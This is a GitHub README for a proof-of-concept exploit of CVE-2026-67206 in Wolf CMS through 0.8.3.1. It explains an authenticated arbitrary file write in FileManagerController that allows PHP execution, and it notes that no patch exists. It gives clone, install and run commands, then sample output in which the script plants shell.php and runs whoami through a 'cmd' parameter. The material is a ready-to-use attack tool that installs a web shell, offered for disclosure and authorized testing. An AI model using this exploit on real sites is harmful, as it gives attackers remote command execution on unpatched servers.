anirbala98/cve-2026-67206PoC exploit for Wolf CMS <= 0.8.3.1: authenticates to Admin, writes an arbitrary PHP file to /public via FileManagerController, and executes commands through a web shell.
This repo contains a Proof of Concept(PoC) exploit for CVE-2026-67206
This project is provided for educational purposes and authorized security testing only. Do not use it against systems that you do not own or have permission to test.
An arbitrary file write vulnerability exists in Wolf CMS versions through 0.8.3.1. It allows an authenticated attacker to write malicious arbitrary files to /public directory of web root via create_file() and save() functions of FileManagerController.php. The create_file() function of FileManagerController.php does not validate file extensions, thereby allowing authenticated attackers to write malicious PHP scripts and gain remote code execution privileges.
A detailed writeup with source code analysis and exploit demonstration can be found on my Medium blog.
All versions of Wolf CMS through 0.8.3.1 are affected. The Wolf CMS repository has been archived as of Aug 28, 2021 and is no longer actively maintained. No patches currently exist for this vulnerability.
git clone https://github.com/anirbala98/CVE-2026-67206.git
cd CVE-2026-67206/
pip install -r requirements.txt
python exploit.py <base_url> -u <username> -p <password>
python exploit.py http://127.0.0.1:8080/ -u admin -p admin
└─$ python exploit.py http://127.0.0.1:8080/ -u admin -p 12966cc814K
[*] Logging in with provided credentials...
[+] Login successful
[*] Creating a file named shell.php...
[+] File creation successful
[*] Attempting to write payload to shell.php...
[+] Payload written successfully!
[+] Web shell can be accessed with 'cmd' query string at http://127.0.0.1:8080/public/shell.php
[+] Testing output of http://127.0.0.1:8080/public/shell.php?cmd=whoami
www-data